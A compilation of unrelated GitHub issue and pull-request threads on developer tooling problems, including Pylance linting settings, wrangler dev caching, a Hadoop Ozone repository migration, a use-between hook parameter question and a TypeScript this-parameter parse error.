Pylance ignoring linting.pylintEnabled parameter

Environment data

Language Server version: 2021.4.3
OS and version: Windows 10 21H1 (Build 19043.964)
Python version : 3.7.6

Expected behaviour
Pylint should be disabled because I added this in my settings JSON : "python.linting.pylintEnabled": false,
Actual behaviour
Pylint is still enabled doing its linting job and showing warnings, errors and underlining pieces of code in red
Logs
[Info  - 14:08:54] Pylance language server 2021.4.3 (pyright 320a0a2f) starting
[Info  - 14:08:54] Server root directory: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist
[Info  - 14:08:54] No configuration file found.
[Info  - 14:08:54] No pyproject.toml file found.
[Info  - 14:08:54] Setting pythonPath for service "ZCrypt": "C:\Users\cleme\AppData\Local\Programs\Python\Python37\python.exe"
[Warn  - 14:08:54] stubPath c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\typings is not a valid directory.
[Info  - 14:08:54] Assuming Python version 3.7
[Info  - 14:08:54] Assuming Python platform Windows
Search paths for c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt
  c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib
  c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt
  c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\typings
  c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\...
  c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\bundled\stubs
  C:\Users\cleme\AppData\Local\Programs\Python\Python37\DLLs
  C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib
  C:\Users\cleme\AppData\Local\Programs\Python\Python37
  C:\Users\cleme\AppData\Roaming\Python\Python37\site-packages
  C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages
  C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\win32
  C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\win32\lib
  C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\Pythonwin
[Info  - 14:08:54] Searching for source files
[Info  - 14:08:54] Found 4 source files
[Info  - 14:08:54] Background analysis(1) root directory: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist
[Info  - 14:08:54] Background analysis(1) started
Background analysis message: setConfigOptions
Background analysis message: ensurePartialStubPackages
Background analysis message: setTrackedFiles
Background analysis message: markAllFilesDirty
Background analysis message: setFileOpened
Background analysis message: analyze
IntelliCode model c:\Users\cleme\.vscode\extensions\visualstudioexptteam.vscodeintellicode-1.2.12\cache\E61945A9A512ED5E1A3EE3F1A2365B88F8FE_E4E9EADA96734F01970E616FAB2FAC19
[BG(1)] analyzing: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py ...
[BG(1)]   parsing: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py (60ms)
[BG(1)]   parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\builtins.pyi [fs read 3ms] (133ms)
[BG(1)]   binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\builtins.pyi (66ms)
[BG(1)]   binding: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py (7ms)
[BG(1)]   checking: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py ...
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\typing.pyi [fs read 2ms] (48ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\typing.pyi (18ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\_typeshed\__init__.pyi [fs read 2ms] (16ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\_typeshed\__init__.pyi (3ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\typing-extensions\typing_extensions.pyi [fs read 1ms] (7ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\typing-extensions\typing_extensions.pyi (2ms)
[BG(1)]     parsing: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\miscs.py [fs read 0ms] (2ms)
[BG(1)]     binding: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\miscs.py (0ms)
[BG(1)]     parsing: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\settings.py [fs read 0ms] (26ms)
[BG(1)]     binding: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\settings.py (6ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\__init__.pyi [fs read 0ms] (13ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\__init__.pyi (1ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\urllib\request.pyi [fs read 0ms] (45ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\urllib\request.pyi (16ms)
[BG(1)]     parsing: C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\printy\__init__.py [fs read 0ms] (4ms)
[BG(1)]     binding: C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\printy\__init__.py (1ms)
[BG(1)]     parsing: C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\printy\core.py [fs read 1ms] (37ms)
[BG(1)]     binding: C:\Users\cleme\AppData\Local\Programs\Python\Python37\lib\site-packages\printy\core.py (10ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\platform.pyi [fs read 0ms] (5ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\platform.pyi (1ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\abc.pyi [fs read 0ms] (1ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\abc.pyi (0ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\ssl.pyi [fs read 0ms] (28ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\ssl.pyi (13ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\os\__init__.pyi [fs read 0ms] (53ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\os\__init__.pyi (8ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\io.pyi [fs read 0ms] (14ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\io.pyi (7ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\types.pyi [fs read 0ms] (6ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\types.pyi (6ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\array.pyi [fs read 0ms] (6ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\array.pyi (3ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\mmap.pyi [fs read 1ms] (6ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\mmap.pyi (1ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\api.pyi [fs read 1ms] (4ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\api.pyi (1ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\sessions.pyi [fs read 1ms] (5ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\sessions.pyi (2ms)
[BG(1)]     parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\models.pyi [fs read 1ms] (5ms)
[BG(1)]     binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stubs\requests\requests\models.pyi (2ms)
[BG(1)]   checking: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py (671ms)
[BG(1)] analyzing: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py (941ms)
Background analysis message: getDiagnosticsForRange
Loading ONNX runtime...
Loaded ONNX runtime. Creating IntelliCode session...
Created IntelliCode session.
Background analysis message: resumeAnalysis
Background analysis message: getDiagnosticsForRange
[FG] parsing: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py (53ms)
[FG] parsing: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\builtins.pyi [fs read 5ms] (110ms)
[FG] binding: c:\Users\cleme\.vscode\extensions\ms-python.vscode-pylance-2021.4.3\dist\typeshed-fallback\stdlib\builtins.pyi (43ms)
[FG] binding: c:\Users\cleme\OneDrive\Sauvegarde PC-STDO\Desktop\Documents\Python\ZCrypt\utils\nettools.py (3ms)
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange
Background analysis message: getDiagnosticsForRange

Additional information
When I run the "Python: select linter" and then select "Disable linting", pylint is disabled this time

Thanks for the bug report! We just wanted to quickly acknowledge we received it and we will triage this as soon as we can.

Hi, can you please share the Python Logs, you can find it in output panel Python dropdown.

Of course :
User belongs to experiment group 'pythonaa'
User belongs to experiment group 'pythonJediLSP'
User belongs to experiment group 'pythonDiscoveryModuleWithoutWatcher'
User belongs to experiment group 'pythonTensorboardExperiment'
User belongs to experiment group 'PythonPyTorchProfiler'
User belongs to experiment group 'ShowExtensionSurveyPrompt - control'
User belongs to experiment group 'CollectLSRequestTiming - control'
Python interpreter path: ~\AppData\Local\Programs\Python\Python37\python.exe
Starting Pylance language server.
> conda --version

We have deprecated the built-in support for Pylint in favour of the Pylint extesion. Pylint can now work side by side with Pylance by default once you install the extension (it actually ships with a version of pylint so you don't even need to install pylint in your environment for it to work either if you don't want to!)
Keep in mind that some diagnostics displayed in Pylint won't be displayed in Pylance given Pylint also triggers stylistic warnings which Pylance does not. I'm closing this issue but if you have suggestions or feedback on Pylance's diagnostics feel free to file an issue at https://github.com/microsoft/pylance-release 😊


Error while running make chat.

Hi @RaymondWang0 ,
I'm trying to implement this solution on windows(cpu) OS. And the pre-requisites have been met.
Model used is LLaMA2_7B_chat_awq_int4 --QM QM_x86
We are getting the same error for CUDA model too.
I'm getting error with 'make chat -j' as cuda is not available.
Below I've attached the screenshot of error.
Please provide the solution for this error.
Thanks,
Swathi S

Hello, I have encountered the same problem as you. Have you finally resolved it?


Add Kubernetes boilerplate to go files

... to facilitate donation to kubernetes-sigs

@nikhita ptal

@pmorie looks like this is good to go (pending the v2 import path changes). Will migrate the repo once this has merged. :)

Coverage remained the same at 90.991% when pulling 91ab513bcda27069887d7b4ee4f92bb3102bcf1b on boilerplate into a894d21a6d93b2b01b434b2226d806cc1240f79d on master.

Thanks :)


can't get correct result in run_scGAE.ipynb

the count.npz seems strange, Is the problem of dataset or the algorithm of scGAE?

Hello,
I am finding the same issue, may I ask if you ever found out its cause?
Thank you,
Andrés

Yes,  I have try many parameters of this network,then I  find the solution of this error .
you should use
model = SCGAE(count, adj, adj_n, hidden_dim = 120, latent_dim = 15, decA = "DBL", layer_enc = "TAG")
not
model = SCGAE(count, adj, adj_n, hidden_dim = 120, latent_dim = 15, decA = "DBL", layer_enc = "GAT")
hope help you

Thank you very much


travis: Fix build by avoiding High Sierra

The High Sierra image on Travis is broken. Just fix the xcode (and macOS) version to xcode 8 for now to work around the problem.

Mhh, at least the clang build works fine with at my PR(https://github.com/kit-parco/networkit/pull/217).
While this issue with the travis image also exists for gcc8, is there any particular reason why networkit is tested with gcc6 instead of gcc8 on MacOS? If its just for legacy reasons, you might consider increasing on the latest version, since support for legacy compiler is ensured by the linux tests.

Because this PR also addresses the long homebrew update times:
The default images get updated quite regularly, so brew update, is not really necessary if the existing version works fine (existing python is 3.6 so should work well too).
So if the existing issue is fixed with the latest image and the test environment is pushed back to the latest version,
      before_install:
         - brew cask uninstall --force oclint # See https://github.com/travis-ci/travis-ci/issues/8826 for details.
         - brew install gcc@6

should be sufficient.

Finally, this can be merged.


Fix the build by fixing naming in cosmos example

Looks I copy-pasted it wrong to the example and haven't run the final version.
Now it's detected by the test suite.
Fixing the sample.

Hasn't been able to figure out the latest issue with the build yet... Shows lots of changed files in the tree... Hints are welcome.


Log group

closes #11
Here I implemented kittylog.group() and kittylog.groupCollapsed() methods.
I also added the related documentation.

LGTM @olga-demina, thanks for this!


🚀 Feature Request: wrangler dev local cache implementation

Describe the solution
I just tried to upgrade from MiniFlare v2 to Wrangler 3's wrangler dev.  There are a lot of CLI options that I'm used to that are missing.  Most importantly related to cache emulation.  I don't seem to be able to enable any kind of cache behavior.  My responses from my local worker don't have any response headers like cf-cache-status.
Am I missing something?  Are the docs missing something?
Thanks!

So I made a script to test caching in all kinds of situations.
http://tinyurl.com/workerCacheTest
And tested it in playground, workers 3.20 dev mode with workerd, workers.dev URL, and Custom Domain URL.
As expected, Custom Domain is the only place any of the functionality works. One note is that I could not find a way to retrieve any cache created by fetch() using caches.default.
However I did notice that doing cache.put to a named cache would in fact save it as a blob in the wrangler folder. However, cache.match could not retrieve that blob. This seems like a bug to me.

@mrbbot So is it expected that cache.put and cache.get will work with wrangler dev? If so I'll get a repro together.

@mrbbot I modified the default cache API sample for an origin request and it does seem to work in wrangler dev, so I'll investigate in my code why it wasn't matching (probably a request problem)
[wrangler:inf] Ready on http://<IP_ADDRESS>:8787
Response for request url: https://raw.githubusercontent.com/PowerShell/PowerShell/master/global.json not present in cache. Fetching and caching request.
[wrangler:inf] GET / 200 OK (247ms)
Cache hit for: https://raw.githubusercontent.com/PowerShell/PowerShell/master/global.json.

Sounds like this is resolved, so I'll close this for now. If there are remaining issues feel free to open a new issue.

Might be worth re-opening as I'm having issue with cache.delete not working locally  :
Here's a minimap worker reproduction :
const baseRequest = new Request("http://example.com", { method: "GET" })

export default {
	async fetch(request, env, context) {
		const url = new URL(request.url)
		if (request.method === "POST") {
			const cacheUrl = new URL(`http://cache.key/custom${url.pathname}`)
			const cacheKey = new Request(cacheUrl, baseRequest.clone())
			context.waitUntil(caches.default.delete(cacheKey))
			return new Response("Busted", { status: 201 })
		}

		const cacheUrl = new URL(`http://cache.key/custom${url.pathname}`)
		const cacheKey = new Request(cacheUrl, baseRequest.clone())
		const cache = caches.default
		const cacheResponse = await cache.match(cacheKey)
		if (cacheResponse?.ok) {
			console.log("Returning from cache.")
			return cacheResponse
		}
		const newResponse = new Response("Something")
		newResponse.headers.append("Cache-Control", "s-maxage=3600") // 1 hour
		context.waitUntil(cache.put(cacheKey, newResponse.clone()))
		console.log("Returning Fresh")
		return newResponse
	}
}

Same code works in the playground.

@Hebilicious could you open a new issue, and we can investigate further?

Thanks, done #7481


HDDS-2281. ContainerStateMachine#handleWriteChunk should ignore close container exception.

NOTICE
Please create an issue in ASF JIRA before opening a pull request,
and you need to set the title of the pull request which starts with
the corresponding JIRA issue number. (e.g. HADOOP-XXXXX. Fix a typo in YYY.)
For more details, please see https://cwiki.apache.org/confluence/display/HADOOP/How+To+Contribute

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

0
reexec
115
Docker mode activated.

_ Prechecks _

+1
dupname
0
No case conflicting files found.

+1
@author
0
The patch does not contain any @author tags.

+1
test4tests
0
The patch appears to include 2 new or modified test files.

_ trunk Compile Tests _

0
mvndep
91
Maven dependency ordering for branch

-1
mvninstall
55
hadoop-hdds in trunk failed.

-1
mvninstall
44
hadoop-ozone in trunk failed.

-1
compile
20
hadoop-hdds in trunk failed.

-1
compile
14
hadoop-ozone in trunk failed.

+1
checkstyle
66
trunk passed

+1
mvnsite
0
trunk passed

+1
shadedclient
981
branch has no errors when building and testing our client artifacts.

-1
javadoc
19
hadoop-hdds in trunk failed.

-1
javadoc
18
hadoop-ozone in trunk failed.

0
spotbugs
1070
Used deprecated FindBugs config; considering switching to SpotBugs.

-1
findbugs
30
hadoop-hdds in trunk failed.

-1
findbugs
17
hadoop-ozone in trunk failed.

_ Patch Compile Tests _

0
mvndep
23
Maven dependency ordering for patch

-1
mvninstall
33
hadoop-hdds in the patch failed.

-1
mvninstall
35
hadoop-ozone in the patch failed.

-1
compile
23
hadoop-hdds in the patch failed.

-1
compile
18
hadoop-ozone in the patch failed.

-1
javac
23
hadoop-hdds in the patch failed.

-1
javac
18
hadoop-ozone in the patch failed.

-0
checkstyle
29
hadoop-hdds: The patch generated 1 new + 0 unchanged - 0 fixed = 1 total (was 0)

-0
checkstyle
31
hadoop-ozone: The patch generated 3 new + 0 unchanged - 0 fixed = 3 total (was 0)

+1
mvnsite
0
the patch passed

+1
whitespace
0
The patch has no whitespace issues.

+1
shadedclient
798
patch has no errors when building and testing our client artifacts.

-1
javadoc
18
hadoop-hdds in the patch failed.

-1
javadoc
16
hadoop-ozone in the patch failed.

-1
findbugs
29
hadoop-hdds in the patch failed.

-1
findbugs
16
hadoop-ozone in the patch failed.

_ Other Tests _

-1
unit
24
hadoop-hdds in the patch failed.

-1
unit
23
hadoop-ozone in the patch failed.

+1
asflicense
29
The patch does not generate ASF License warnings.

2708

Subsystem
Report/Notes

Docker
Client=19.03.3 Server=19.03.3 base: https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/1641

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient findbugs checkstyle

uname
Linux 6412bb9181f3 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
personality/hadoop.sh

git revision
trunk / 9c72bf4

Default Java
1.8.0_222

mvninstall
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-mvninstall-hadoop-hdds.txt

mvninstall
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-mvninstall-hadoop-ozone.txt

compile
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-compile-hadoop-hdds.txt

compile
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-compile-hadoop-ozone.txt

javadoc
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-javadoc-hadoop-hdds.txt

javadoc
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-javadoc-hadoop-ozone.txt

findbugs
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-findbugs-hadoop-hdds.txt

findbugs
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/branch-findbugs-hadoop-ozone.txt

mvninstall
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-mvninstall-hadoop-hdds.txt

mvninstall
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-mvninstall-hadoop-ozone.txt

compile
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-compile-hadoop-hdds.txt

compile
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-compile-hadoop-ozone.txt

javac
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-compile-hadoop-hdds.txt

javac
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-compile-hadoop-ozone.txt

checkstyle
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/diff-checkstyle-hadoop-hdds.txt

checkstyle
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/diff-checkstyle-hadoop-ozone.txt

javadoc
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-javadoc-hadoop-hdds.txt

javadoc
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-javadoc-hadoop-ozone.txt

findbugs
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-findbugs-hadoop-hdds.txt

findbugs
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-findbugs-hadoop-ozone.txt

unit
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-unit-hadoop-hdds.txt

unit
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/artifact/out/patch-unit-hadoop-ozone.txt

Test Results
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/testReport/

Max. process+thread count
307 (vs. ulimit of 5500)

modules
C: hadoop-hdds/container-service hadoop-ozone/integration-test U: .

Console output
https://builds.apache.org/job/hadoop-multibranch/job/PR-1641/1/console

versions
git=2.7.4 maven=3.3.9

Powered by
Apache Yetus 0.10.0 http://yetus.apache.org

This message was automatically generated.

Thank you very much to open this pull request.
During the weekend the Ozone source code has been moved out from apache/hadoop repository to apache/hadoop-ozone repository.
This git commits are rewritten, but the branch of this pull request is also transformed (state of Saturday morning), you can use the new, migrated branch to recreate this pull request.
Your pull request is important for us: Can you please re-create your pull request in the new repository?
1. Create a new fork of https://github.com/apache/hadoop-ozone
2. Clone it and have both your fork and the apache repo as remotes:
git clone git@github.com:bshashikant/hadoop-ozone.git
cd hadoop-ozone
git remote add apache git@github.com:apache/hadoop-ozone.git
git fetch apache

3. Fetch your migrated branch and push it to your fork.
git checkout -b HDDS-2281 apache/HDDS-2281
git push origin HDDS-2281

4. And create the new pull request on the new repository.
https://github.com/apache/hadoop-ozone/compare/master...bshashikant:HDDS-2281?expand=1
If you need more information, please check this wiki page or contact with me (my github user name + apache.org).
Thank you, and sorry for the inconvenience.


Access to stream events

The underlying SendStream emits some events which are also utilized by serveStatic. Could those by also available on serveStatic? (I mean if those could be defined on serveStatic and passed down to each new stream)
Usage example
var downloadsServeStatic = serveStatic(path.resolve('./downloads'));
downloadsServeStatic.on('stream', function (stream) {
   // pipe stream
});
downloadsServeStatic.on('error', function (error) {
    // handle error
});

Or is something like this possible and I just can't find it?

Hi! This is currently not possible for a number of reasons, with the main reason being that the events do not provide enough context for your handlers to understand what the request was for to make a decision. For example, the stream event won't tell you what type of file or the path, so you cannot make conditional logic on that.
The events are a low-level API you can get simply by using the send module yourself, which is what I would recommend. The error event in your example is exposed as the first argument in the callback already.
Perhaps there is a better solution to do what you are trying to achieve without exposing the events. Can you describe what your goal is?

Actually I was trying a) to inject data in the response if the file served is a .txt file and b) limit the response stream "speed".
Yes you are right about event, "b" can be done with events, but "a" not.
Anyway i found express-hijackresponse which is suited for both of my tasks and cooperates greatly with serveStatic.


Add HLUT with new plugins

New Features:

Heuristic Lookup Table
Dijkstra Heuristic: Heuristic using a HLUT filled using Dijkstra's algorithm.
Fast Marching Method Heuristic: Heuristic using a HLUT filled using the Fast Marching Method.
Traversability Map Model: World model plugin that uses a traversability map to check the accessibility of positions.

I couldn't reproduce the error, but I hope the new commit fixes the issue.


Stop observeing when refresher is removed from superview

When execute removeFromSuperview() to Refresher, app will crash.
Reproduction
In SpringIndicatorExample, write refreshControl.removeFromSuperview() anywhere in TableViewController.
Example:
func onRefresh() {
    refreshControl.removeFromSuperview()
    let delay = 2.0 * Double(NSEC_PER_SEC)
    let time  = dispatch_time(DISPATCH_TIME_NOW, Int64(delay))
    dispatch_after(time, dispatch_get_main_queue()) {
        self.refreshControl.endRefreshing()
    }
}

And then, show table view and go back to ViewController and the app crashes. It's because observer is still observing nil object.
Fix
I wrote removeObserver() in overrieded removeFromSuperview(). By this, observer stop observing nil object.
public override func removeFromSuperview() {
    removeObserver()
    super.removeFromSuperview()
}

Thanks.

I didn't think 'removeFromSuperview()' of the 'Refresher'. Thank you very much.


How to pass parameters ?

Hi Betula,
Thank you for the great idea, just trying your library and I can't figure out how to pass parameters to my useBetween hook...
For example:
`
const useStreamingData = ({symbol, market = 'stocks', shouldUpdate = true}) => {
...
export const useLiveData = () => useBetween(useStreamingData());
`
Doesn't seem to work...
Thanks again,
Théo

Hi Théo,
It's nice to hear that you are using "use-between" in your projects and I will be happy to suggest a possible solution to your task.
Your original hook is
const useStreamingData = ({symbol, market = 'stocks', shouldUpdate = true}) => {

As I understood from the task, it is required to share the state of the "useStreamingData" hook between the groups of components, depending on the call parameters.
That is, the desired result of using would be like this:

// This is a call to get the shared state in some place of code
const data1 = useSharedStreamingData({ symbol: "A", shouldUpdate: false });

// And when you call this function with the same parameters anywhere else in the code,
// the result is expected to be share (and therefore equal).
const data2 = useSharedStreamingData({ symbol: "A", shouldUpdate: false });

console.assert(data1 === data2) // equals

Task solving code:
import memoize from "memoizee";

const useStreamingDataMemoized = memoize((symbol, market, shouldUpdate) => {
  // Thanks to the memoization tool, we got all the closure parameters we need.
  return () =>
    // Parameterized shared hook here.
    useStreamingData({
      symbol,
      market,
      shouldUpdate
    });
});

// As a result, we need to make a separate shared state for each set of arguments for calling the "useStreamingData" hook.
export const useSharedStreamingData = ({ symbol, market, shouldUpdate }) => {
  return useBetween(useStreamingDataMemoized(symbol, market, shouldUpdate));
};

Since the "use-between" hook takes a function without arguments, and for each such function only one shared state is created, we need to create a new function for each unique set of parameters. And standard memoization technique helps us in this. In this example, I used memoizee as it looks good enough, but you can use another memoization implementation as you wish.
The semantics of use, as I understood from the task, is expected to be the following.
function View({ symbol }) {
  const data = useSharedStreamingData({
    symbol
  });
  return <p>{data}</p>;
}

export default function App() {
  return (
    <>
      <View symbol="A" />
      <View symbol="B" />
      <View symbol="B" />
      <View symbol="A" />
    </>
  );
}

In this example, we have connected four React components, but only two shared states are used between them, for the "symbol" value equal to "A" and "B" respectively.

I hope my answer is good for solving your task.
Thanks for using "use-between"!

Hi Betula,
Thank you so much to have taken the time to write such an extensive answer, it works perfectly and solved a problem our team had for months,
Thanks again,
Théo

Thanks for the question!
This helps me to better understand the challenges faced by the use-between team. Thank you for helping to share our experience with people!


update stable channel to v1.29.7+k3s1

Proposed Changes

Types of Changes

Verification

Testing

Linked Issues

User-Facing Change

Further Comments

Should we move to 1.30 since it's .3


This type parsing error and incorrect type inference

TypeScript Version:  2.0.0 (I suppose beta, though tsc -v just reports 2.0.0)
Code
function test(e: HTMLElement): void {
    e.onclick = (this: HTMLElement, event) => { }; // error TS1005: ')' expected.
                                                   // error TS1005: ';' expected.
                                                   // error TS1128: Declaration or statement expected.

    e.onclick = function(this: HTMLElement, event) { }; // error TS7006: Parameter 'event' implicitly has an 'any' type
}

Expected behavior:
1st: no parsing error.
2nd: event: MouseEvent inference, as for e.onclick = function(event) { };
Actual behavior:

This is still going to be an error because it doesn't make sense for an arrow function to specify its this parameter (it gets the outer this), but we should give a semantic error instead of a parse error

Regarding the second thing, this is because we don't contextually type parameters when any parameter has a type annotation. There's a bug on that somewhere but I can't find it at the moment; we should revisit it (if it's closed) at the very least for the case where the only annotated parameter is the this the parameter

Let me add on to this issue (it doesn't seem worth filing another): a this parameter on a generic arrow function parses but has no effect:
